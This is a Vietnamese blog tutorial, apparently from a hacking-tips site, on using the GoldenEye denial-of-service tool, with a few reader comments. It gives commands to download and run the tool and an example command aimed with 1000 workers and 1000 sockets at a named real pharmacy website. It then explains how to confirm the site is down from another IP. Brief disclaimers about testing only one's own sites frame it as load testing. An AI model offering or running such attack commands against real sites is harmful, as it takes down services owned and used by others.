GoldenEye là một Tool DoS đơn giản nhưng cực kỳ hiệu quả, thường được các quản trị Server dùng để kiểm tra sức chịu đựng của hệ thống khi bị DoS. Đặc điểm của GoldenEye là chỉ cần 1 IP, không dùng Proxy nhưng kết hợp với nhiều user againt tạo nên các luồng tấn công vào Server khá mạng.
Bạn có thể điều chỉnh số lượng kết nối DoS vào Server dựa trên tham số worker và socket. Từ đó có thể kiểm tra xem Web mình chịu tải được bao nhiêu.
Dos / DDos là gì?
Dos (viết tắt của Denial-of-service) là một dạng tấn công máy hoặc mạng, khiến cho chúng không còn khả năng sử dụng dựa theo nguyên lí của tắc nghẽn traffic hay vượt quá sức chịu đựng của 1 máy chủ hoặc mạng. Những đối tượng thường bị tấn công là những website , máy chủ server , mạng ,….
- GoldenEye tạo ra một lượng lớn truy cập cùng lúc vào Website khiến Server không chịu tải nổi dẫn đến Website sẽ ngưng hoạt động.
- Dấu hiệu để biết Website bị sập hay chưa là người dùng không thể truy cập được Web hoặc hiển thị không thể kết nối đến database.
Đối với Webmaster có thể dùng cronjob để kiểm tra thường xuyên Website có bị sập không, nếu có thì tự khởi động lại các dịch vụ.
1 số lưu ý trước khi thực hiện
- Không DoS AnonyViet và các Website không phải của bạn quản lý
- Những kiểu Dos này rất tốn tài nguyên máy tính, vì vậy hãy sử dụng cho vừa đủ và đừng để overload máy tính. Bài viết chỉ mang tính chất nghiên cứu vậy nên hãy sử dụng tool này như 1 tool test website bạn hay website bạn có thể tấn công chứ đừng phá hoại website người khác.
Chuẩn bị
- Một máy tính chạy Linux (nếu chạy window có thể tải link ở đây)
- Python3 (xem hướng dẫn tải cho window và linux)
Hướng dẫn Dos website bằng GoldenEye
Mở Terminal lên vào thực hiện các lệnh sau:
Tải GoldenEye về máy tính
git clone https://github.com/jseidl/GoldenEye
Vào thư mục GoldenEye
cd GoldenEye/
Cú pháp câu lệnh
python3 goldeneye.py <url> [tùy chọn]
Tùy chọn :
- – u : useragent (mặc định: tự tạo
- – w : worker (mặc định: 50)
- – s : socket (mặc định: 30)
- – m : method (post , get , random)
- – d : debug (mặc định : false)
- – n : nosslcheck (mặc định : true)
- – h : help
Ví dụ của bài :
python3 goldeneye.py https://duocphamviethung.com.vn/ -w 1000 -s 1000 -m post
(Đây là trang của người quen nhờ Check giùm)
Khi GoldenEye thông báo như này là nó đã chạy rồi nhé
Và kết quả đây:
Một số Server cấu hình mạnh sẽ chặn IP của bạn, tốt nhất để biết Web sập hay chưa bạn nên dùng 1 IP khác để truy cập thử hoặc kiểm tra tại check-host.net.
Và đó là cách sử dụng GoldenEye để Dos website. Hãy để lại bình luận ở dưới để mình biết ý kiến của mọi người nhé. Hãy xem thêm bài viết MHDDoS – Tool DDOS Attack với 36 kiểu tấn công hot tại đây.
Câu hỏi thường gặp
GoldenEye có an toàn khi sử dụng không?
GoldenEye là công cụ để kiểm tra khả năng chịu tải của website. Chỉ sử dụng GoldenEye trên website hoặc server mà bạn sở hữu. Sử dụng GoldenEye trái phép có thể vi phạm pháp luật.
Tôi cần những gì để sử dụng GoldenEye?
Bạn cần một máy tính (Linux hoặc Windows), Python 3 được cài đặt và kết nối internet.
Làm thế nào để tôi biết website đã bị tấn công thành công?
Website sẽ không phản hồi hoặc hiển thị lỗi kết nối. Bạn nên sử dụng một IP khác để kiểm tra hoặc sử dụng dịch vụ kiểm tra trạng thái website như check-host.net để xác nhận.
ok ad
Xem chơi cho biết thôi chứ ếu dám thực hành đâu :)))
Công An nó đến nhà hỏi thăm là xác định :V